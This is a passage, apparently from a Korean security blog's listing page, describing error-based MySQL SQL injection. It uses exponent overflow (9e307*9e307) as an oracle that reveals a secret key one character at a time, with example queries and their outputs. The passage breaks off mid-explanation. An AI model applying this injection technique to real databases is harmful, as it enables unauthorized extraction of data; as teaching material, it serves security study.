[SQL injection] 지수 연산을 이용한 error based mysql에서 9e2의 연산은 지수 연산으로써 9*(10*10)의 결과로 900을 나타낸다.select 9e0; ==> 9select 9e1; ==> 90select 9e2; ==> 900 select 9e999 ==> Error Code: 1367. Illegal double '9e999' value found during parsing일정 값 이상되면 범위를 벗어나서 에러가 발생한다. substr(key,1,1) ==> g라고 가정할때 select substr(key,1,1) = 'a' and 9e307 * 9e307; ==> 1 row(s) returned 0.000 sec / 0.000 sec select substr(key,1,1) = 'g' and 9e307 * 9e307; ==> Error .. 더보기 이전 1 2 3 4 5 6 ··· 21 다음